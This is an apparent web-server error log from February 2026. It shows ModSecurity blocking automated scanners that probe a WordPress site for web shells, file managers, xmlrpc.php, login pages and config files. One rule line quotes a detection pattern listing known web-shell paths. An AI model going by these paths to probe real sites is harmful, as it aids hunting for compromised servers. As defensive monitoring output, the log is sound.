[Sun Feb 01 05:23:32.349878 2026] [:error] [pid 10616:tid 10641] [client 20.219.60.37:25804] [client 20.219.60.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aX5y1Gd8pZdmVx6pUp7ItAAAANU"]
[Sun Feb 01 05:23:34.572120 2026] [:error] [pid 10509:tid 10588] [client 20.219.60.37:26391] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aX5y1lMNpJBihOJgwVvVUwAAAJE"]
[Sun Feb 01 05:23:38.907296 2026] [:error] [pid 10616:tid 10642] [client 20.219.60.37:7288] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aX5y2md8pZdmVx6pUp7IwQAAANY"]
[Sun Feb 01 05:23:40.159971 2026] [:error] [pid 10616:tid 10644] [client 20.219.60.37:9222] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aX5y3Gd8pZdmVx6pUp7IxQAAANg"]
[Sun Feb 01 05:23:46.402388 2026] [:error] [pid 10616:tid 10644] [client 20.219.60.37:25811] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/footer.php"] [unique_id "aX5y4md8pZdmVx6pUp7I1gAAANg"]
[Sun Feb 01 05:23:50.330627 2026] [:error] [pid 10508:tid 10559] [client 20.219.60.37:9233] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aX5y5gFwdoMQv5EWp9tX_wAAAE8"]
[Sun Feb 01 05:23:53.379197 2026] [:error] [pid 10509:tid 10579] [client 20.219.60.37:1265] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/buy.php"] [unique_id "aX5y6VMNpJBihOJgwVvVcgAAAIg"]
[Sun Feb 01 05:24:03.313487 2026] [:error] [pid 10506:tid 10526] [client 20.219.60.37:31101] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pro.php"] [unique_id "aX5y8632IC2Db4uwFyORsAAAAAo"]
[Sun Feb 01 05:24:04.899373 2026] [:error] [pid 10508:tid 10560] [client 20.219.60.37:1234] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pro.php"] [unique_id "aX5y9AFwdoMQv5EWp9tYHgAAAFA"]
[Sun Feb 01 05:24:06.091458 2026] [:error] [pid 10509:tid 10592] [client 20.219.60.37:31072] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pro.php"] [unique_id "aX5y9lMNpJBihOJgwVvVgQAAAJU"]
[Sun Feb 01 05:24:08.211094 2026] [:error] [pid 10506:tid 10524] [client 20.219.60.37:31059] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pro.php"] [unique_id "aX5y-K32IC2Db4uwFyORtwAAAAg"]
[Sun Feb 01 05:24:14.456714 2026] [proxy_fcgi:error] [pid 10616:tid 10635] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:14.594437 2026] [:error] [pid 10616:tid 10644] [client 20.219.60.37:7873] [client 20.219.60.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.219.60.37, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aX5y_md8pZdmVx6pUp7JEwAAANg"]
[Sun Feb 01 05:24:14.598862 2026] [proxy_fcgi:error] [pid 10616:tid 10644] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:14.739193 2026] [proxy_fcgi:error] [pid 10616:tid 10629] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.200919 2026] [proxy_fcgi:error] [pid 10616:tid 10625] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.363434 2026] [proxy_fcgi:error] [pid 10616:tid 10638] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.506445 2026] [proxy_fcgi:error] [pid 10616:tid 10641] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.647584 2026] [proxy_fcgi:error] [pid 10616:tid 10633] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.809686 2026] [proxy_fcgi:error] [pid 10616:tid 10635] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:15.974803 2026] [proxy_fcgi:error] [pid 10616:tid 10643] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:16.116771 2026] [proxy_fcgi:error] [pid 10616:tid 10626] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:16.259896 2026] [proxy_fcgi:error] [pid 10616:tid 10620] [client 20.219.60.37:7873] AH01071: Got error 'Primary script unknown'
[Sun Feb 01 05:24:17.114692 2026] [:error] [pid 10616:tid 10629] [client 20.219.60.37:7873] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aX5zAWd8pZdmVx6pUp7JIgAAAMk"]
[Sun Feb 01 05:24:18.092358 2026] [:error] [pid 10509:tid 10593] [client 20.219.60.37:1931] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aX5zAlMNpJBihOJgwVvVkgAAAJY"]
[Sun Feb 01 05:24:19.438865 2026] [:error] [pid 10508:tid 10557] [client 20.219.60.37:9496] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aX5zAwFwdoMQv5EWp9tYMgAAAE0"]
[Sun Feb 01 05:24:20.596108 2026] [:error] [pid 10509:tid 10581] [client 20.219.60.37:8048] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aX5zBFMNpJBihOJgwVvVmQAAAIo"]
[Sun Feb 01 05:24:22.522778 2026] [:error] [pid 10616:tid 10641] [client 20.219.60.37:31048] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aX5zBmd8pZdmVx6pUp7JLwAAANU"]
[Sun Feb 01 05:24:24.464752 2026] [:error] [pid 10508:tid 10563] [client 20.219.60.37:1263] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aX5zCAFwdoMQv5EWp9tYMwAAAFM"]
[Sun Feb 01 05:24:26.351432 2026] [:error] [pid 10508:tid 10548] [client 20.219.60.37:31099] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aX5zCgFwdoMQv5EWp9tYNgAAAEQ"]
[Sun Feb 01 05:24:30.622585 2026] [:error] [pid 10508:tid 10568] [client 20.219.60.37:7910] [client 20.219.60.37] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file56.php"] [unique_id "aX5zDgFwdoMQv5EWp9tYOQAAAFg"]
[Mon Feb 02 03:16:21.881093 2026] [proxy_fcgi:error] [pid 54378:tid 54433] [client 52.141.3.29:8049] AH01071: Got error 'Primary script unknown'
[Mon Feb 02 04:47:17.153833 2026] [:error] [pid 33612:tid 33622] [client 45.130.83.175:58783] [client 45.130.83.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.130.83.175, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aX-71ctFn80qQEmo5QonPQAAAQg"]
[Mon Feb 02 04:47:17.164660 2026] [proxy_fcgi:error] [pid 33612:tid 33622] [client 45.130.83.175:58783] AH01071: Got error 'Primary script unknown'
[Mon Feb 02 04:47:20.575236 2026] [:error] [pid 33612:tid 33631] [client 45.130.83.175:58783] [client 45.130.83.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aX-72MtFn80qQEmo5QonXAAAARE"]
[Mon Feb 02 11:49:13.415062 2026] [:error] [pid 56989:tid 56998] [client 185.241.211.8:64283] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYAeuUp44HnChN-GZlhuHwAAAgc"]
[Mon Feb 02 11:49:13.856350 2026] [:error] [pid 63034:tid 63130] [client 185.241.211.8:64416] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYAeueKXlgw75_wfbHpxzgAAAIw"]
[Mon Feb 02 11:49:14.285761 2026] [:error] [pid 63034:tid 63134] [client 185.241.211.8:64596] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYAeuuKXlgw75_wfbHpx1gAAAJA"]
[Mon Feb 02 11:49:14.715270 2026] [:error] [pid 57022:tid 57070] [client 185.241.211.8:64787] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYAeuhnEgLMzfcurxfn0XQAAApI"]
[Mon Feb 02 11:49:15.148990 2026] [:error] [pid 46008:tid 46029] [client 185.241.211.8:64982] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYAeuyRa52iYn7SlSMk4QQAAAVI"]
[Mon Feb 02 13:44:56.885723 2026] [:error] [pid 57022:tid 57071] [client 136.144.33.234:62851] [client 136.144.33.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.234, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYA52BnEgLMzfcurxfkJkQAAApM"]
[Mon Feb 02 13:44:56.898034 2026] [proxy_fcgi:error] [pid 57022:tid 57071] [client 136.144.33.234:62851] AH01071: Got error 'Primary script unknown'
[Tue Feb 03 00:23:47.134571 2026] [:error] [pid 57021:tid 57039] [client 193.36.225.29:28325] [client 193.36.225.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.29, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYDPk_7AEpx7VcmYK3EiMAAAAk4"]
[Tue Feb 03 00:23:47.152593 2026] [proxy_fcgi:error] [pid 57021:tid 57039] [client 193.36.225.29:28325] AH01071: Got error 'Primary script unknown'
[Tue Feb 03 19:01:33.545022 2026] [:error] [pid 42920:tid 42941] [client 185.194.178.42:50073] [client 185.194.178.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.42, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYHVjSix3YKltG4EU0lmqgAAAAw"]
[Tue Feb 03 19:01:33.577614 2026] [proxy_fcgi:error] [pid 42920:tid 42941] [client 185.194.178.42:50073] AH01071: Got error 'Primary script unknown'
[Tue Feb 03 19:26:29.332126 2026] [:error] [pid 42920:tid 42933] [client 103.65.236.149:60489] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aYHbZSix3YKltG4EU0lsXwAAAAQ"]
[Tue Feb 03 19:37:34.564023 2026] [proxy_fcgi:error] [pid 5148:tid 5166] [client 52.155.110.228:25005] AH01071: Got error 'Primary script unknown'
[Tue Feb 03 19:59:30.598444 2026] [proxy_fcgi:error] [pid 42920:tid 42940] [client 52.253.112.166:15206] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 01:36:52.812016 2026] [:error] [pid 5148:tid 5168] [client 95.170.13.164:50334] [client 95.170.13.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.170.13.164, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYIyNL83HCHLtUIbS7JDNwAAAVE"]
[Wed Feb 04 01:36:52.821511 2026] [proxy_fcgi:error] [pid 5148:tid 5168] [client 95.170.13.164:50334] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 01:36:55.897641 2026] [:error] [pid 5148:tid 5152] [client 95.170.13.164:50334] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYIyN783HCHLtUIbS7JDRQAAAUE"]
[Wed Feb 04 01:36:56.448144 2026] [:error] [pid 42921:tid 42966] [client 95.170.13.164:51208] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYIyOIblShffGl-01ofLwAAAAEg"]
[Wed Feb 04 01:36:57.011412 2026] [:error] [pid 42920:tid 42940] [client 95.170.13.164:51316] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYIyOSix3YKltG4EU0nVngAAAAs"]
[Wed Feb 04 01:36:57.598059 2026] [:error] [pid 42921:tid 42977] [client 95.170.13.164:51409] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYIyOYblShffGl-01ofLxAAAAFM"]
[Wed Feb 04 01:36:58.203945 2026] [:error] [pid 42920:tid 42950] [client 95.170.13.164:51533] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYIyOiix3YKltG4EU0nVoQAAABU"]
[Wed Feb 04 01:36:58.767613 2026] [:error] [pid 28720:tid 28733] [client 95.170.13.164:51628] [client 95.170.13.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYIyOmmRXm2bmr_sYiYmAAAAAQs"]
[Wed Feb 04 02:15:42.520507 2026] [:error] [pid 5148:tid 5151] [client 136.109.103.143:53013] [client 136.109.103.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.109.103.143, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aYI7Tr83HCHLtUIbS7JNrwAAAUA"]
[Wed Feb 04 02:15:42.530076 2026] [proxy_fcgi:error] [pid 5148:tid 5151] [client 136.109.103.143:53013] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 02:15:44.505253 2026] [:error] [pid 5148:tid 5165] [client 136.109.103.143:53013] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UL83HCHLtUIbS7JNvQAAAU4"]
[Wed Feb 04 02:15:44.862165 2026] [:error] [pid 42921:tid 42962] [client 136.109.103.143:63212] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UIblShffGl-01ofS3QAAAEQ"]
[Wed Feb 04 02:15:45.247784 2026] [:error] [pid 42922:tid 42990] [client 136.109.103.143:64422] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UWazX4WPS_dQRkj0DQAAAIU"]
[Wed Feb 04 02:15:45.630494 2026] [:error] [pid 42922:tid 43002] [client 136.109.103.143:55458] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UWazX4WPS_dQRkj0DgAAAJE"]
[Wed Feb 04 02:15:45.980807 2026] [:error] [pid 43028:tid 43052] [client 136.109.103.143:55108] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UVnHWnJD4cJC5Dsu0gAAANY"]
[Wed Feb 04 02:15:46.339094 2026] [:error] [pid 5148:tid 5168] [client 136.109.103.143:63657] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aYI7Ur83HCHLtUIbS7JNvgAAAVE"]
[Wed Feb 04 02:15:46.712814 2026] [:error] [pid 28720:tid 28734] [client 136.109.103.143:55516] [client 136.109.103.143] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aYI7UmmRXm2bmr_sYiYsdwAAAQw"]
[Wed Feb 04 03:26:25.606072 2026] [:error] [pid 16861:tid 16901] [client 193.36.225.49:47481] [client 193.36.225.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.49, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aYJL4f9YMG-KYdJ2gPCiZAAAAEA"]
[Wed Feb 04 03:26:25.617820 2026] [proxy_fcgi:error] [pid 16861:tid 16901] [client 193.36.225.49:47481] AH01071: Got error 'Primary script unknown'
[Wed Feb 04 08:32:20.841388 2026] [:error] [pid 47676:tid 47679] [client 45.92.1.79:54127] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYKTlArYSkTgZEfUDqGkJwAAAME"]
[Wed Feb 04 08:32:21.427482 2026] [:error] [pid 47579:tid 47659] [client 45.92.1.79:54361] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aYKTlfuxWks846_Vi2z1ZwAAAI8"]
